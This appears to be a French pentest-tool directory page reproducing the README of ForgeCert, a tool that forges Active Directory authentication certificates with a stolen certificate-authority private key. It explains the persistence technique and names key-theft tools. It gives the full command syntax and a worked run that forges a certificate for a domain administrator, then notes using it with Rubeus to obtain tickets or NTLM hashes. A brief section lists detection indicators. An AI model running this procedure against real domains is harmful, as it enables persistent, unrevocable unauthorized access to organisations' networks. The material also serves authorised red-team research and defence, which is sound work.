Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
ForgeCert — Forger des certificats pour l'authentification Active Directory en utilisant des clés privées d'autorité de certification volées, permettant un accès persistant au domaine avec des fichiers .pfx falsifiés. | Kitploit
Outils/GitHubGitHub/ghostpack/forgecert
Génération de PayloadsMécanismes de PersistanceExploitationAuthentification
GitHubghostpack/forgecert

ForgeCert

Forger des certificats pour l'authentification Active Directory en utilisant des clés privées d'autorité de certification volées, permettant un accès persistant au domaine avec des fichiers .pfx falsifiés.

Voir le dépôt
71511519il y a 3 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

ForgeCert

ForgeCert utilise l'API BouncyCastle C# et un certificat d'autorité de certification (CA) volé ainsi que sa clé privée pour forger des certificats pour des utilisateurs arbitraires capables de s'authentifier sur Active Directory.

Cette attaque est codifiée sous le nom DPERSIST1 dans notre livre blanc "Certified Pre-Owned". Cette base de code a été publiée environ 45 jours après la publication du livre blanc.

@tifkin_ est l'auteur principal de ForgeCert.

@tifkin_ et @harmj0y sont les auteurs principaux de la recherche associée sur les services de certificat Active Directory (blog et livre blanc).

Contexte

Comme décrit dans les sections Background et Forging Certificates with Stolen CA Certificates - DPERSIST1 de notre livre blanc, la clé privée du certificat CA d'une autorité de certification est protégée sur le serveur CA soit via DPAPI, soit par du matériel (HSM/TPM). De plus, le certificat (sans la clé privée) est publié dans l'objet de forêt NTAuthCertificates, qui définit les certificats CA permettant l'authentification à AD. Ensemble, une CA dont le certificat est présent dans NTAuthCertificates utilise sa clé privée pour signer les demandes de signature de certificat (CSR) des clients demandeurs. Ce graphique résume le processus :

La sécurité de la clé privée de la CA est primordiale. Comme mentionné, si la clé privée n'est pas protégée par une solution matérielle telle qu'un TPM ou un HSM, la clé sera chiffrée avec l'API de protection des données (DPAPI) et stockée sur le disque du serveur CA. Si un attaquant parvient à compromettre un serveur CA, il peut extraire la clé privée de tout certificat CA non protégé par du matériel en utilisant le Mimikatz de @gentilkiwi ou le projet SharpDPAPI de GhostPack. Le point THEFT3 du livre blanc décrit ce processus pour les certificats machine.

Étant donné que la seule matière clé utilisée pour signer les certificats émis est la clé privée de la CA, si un attaquant vole une telle clé (pour un certificat dans NTAuthCertificates), il peut forger des certificats capables d'authentification au domaine. Ces certificats falsifiés peuvent concerner n'importe quel principal du domaine (bien que le compte doive être "actif" pour que l'authentification soit possible, donc des comptes comme krbtgt ne fonctionneront pas) et les certificats seront valides aussi longtemps que le certificat CA est valide (généralement 5 ans par défaut, mais peut être configuré pour plus longtemps).

De plus, comme ces certificats ne sont pas le produit du processus d'émission normal, la CA n'a pas connaissance de leur création. Ainsi, les certificats ne peuvent pas être révoqués.

Remarque : la clé privée de TOUT certificat CA dans NTAuthCertificates (CA racine ou subordonnée) peut être utilisée pour forger des certificats capables d'authentification dans la forêt. Si le certificat/clé provient d'une CA subordonnée, une CRL légitime pour la vérification de la chaîne de certificats doit être fournie.

ForgeCert utilise le X509V3CertificateGenerator de BouncyCastle pour effectuer les falsifications.

Utilisation en ligne de commande

C:\Temp>ForgeCert.exe
ForgeCert 1.0.0.0
Copyright c  2021

ERROR(S):
  Required option 'CaCertPath' is missing.
  Required option 'SubjectAltName' is missing.
  Required option 'NewCertPath' is missing.
  Required option 'NewCertPassword' is missing.

  --CaCertPath         Required. CA private key as a .pfx or .p12 file

  --CaCertPassword     Password to the CA private key file

  --Subject            (Default: CN=User) Subject name in the certificate

  --SubjectAltName     Required. UPN of the user to authenticate as

  --NewCertPath        Required. Path where to save the new .pfx certificate

  --NewCertPassword    Required. Password to the .pfx file

  --CRL                ldap path to a CRL for the forged certificate

  --help               Display this help screen.

  --version            Display version information.

Utilisation

Remarque : pour une procédure complète de vol d'une clé privée CA et de forgeage de certificats d'authentification, voir DPERSIST1 dans le livre blanc.

Contexte :

  • Le certificat CA volé est ca.pfx, chiffré avec le mot de passe Password123!
  • Le sujet est arbitraire car nous spécifions un nom d'autre sujet (subject alternative name) pour le certificat.
  • Le nom d'autre sujet (c'est-à-dire l'utilisateur pour lequel nous forgeons un certificat) est [email protected].
  • Le certificat forgé sera enregistré sous localadmin.pfx, chiffré avec le mot de passe NewPassword123!
C:\Tools\ForgeCert>ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword "Password123!" --Subject "CN=User" --SubjectAltName "[email protected]" --NewCertPath localadmin.pfx --NewCertPassword "NewPassword123!"
CA Certificate Information:
  Subject:        CN=theshire-DC-CA, DC=theshire, DC=local
  Issuer:         CN=theshire-DC-CA, DC=theshire, DC=local
  Start Date:     1/4/2021 10:48:02 AM
  End Date:       1/4/2026 10:58:02 AM
  Thumbprint:     187D81530E1ADBB6B8B9B961EAADC1F597E6D6A2
  Serial:         14BFC25F2B6EEDA94404D5A5B0F33E21

Forged Certificate Information:
  Subject:        CN=User
  SubjectAltName: [email protected]
  Issuer:         CN=theshire-DC-CA, DC=theshire, DC=local
  Start Date:     7/26/2021 3:38:45 PM
  End Date:       7/26/2022 3:38:45 PM
  Thumbprint:     C5789A24E91A40819EFF7CFD77150595F8B9878D
  Serial:         3627A48F90F6869C3215FF05BC3B2E42

Done. Saved forged certificate to localadmin.pfx with the password 'NewPassword123!'

Cette falsification peut être effectuée sur un système contrôlé par l'attaquant, et le certificat résultant peut être utilisé avec Rubeus pour demander un TGT (et/ou récupérer le NTLM de l'utilisateur ;)

Considérations défensives

Le TypeRefHash de la base de code actuelle de ForgeCert est b26b451ff2c947ae5904f962e56facbb45269995fbb813070386472f307cfcf0.

Le GUID TypeLib de ForgeCert est bd346689-8ee6-40b3-858b-4ed94f08d40a. Celui-ci est reflété dans les règles Yara actuellement dans ce dépôt.

Consultez PREVENT1, DETECT3 et DETECT5 dans notre livre blanc pour des conseils de prévention et de détection.

Télécharger l’outil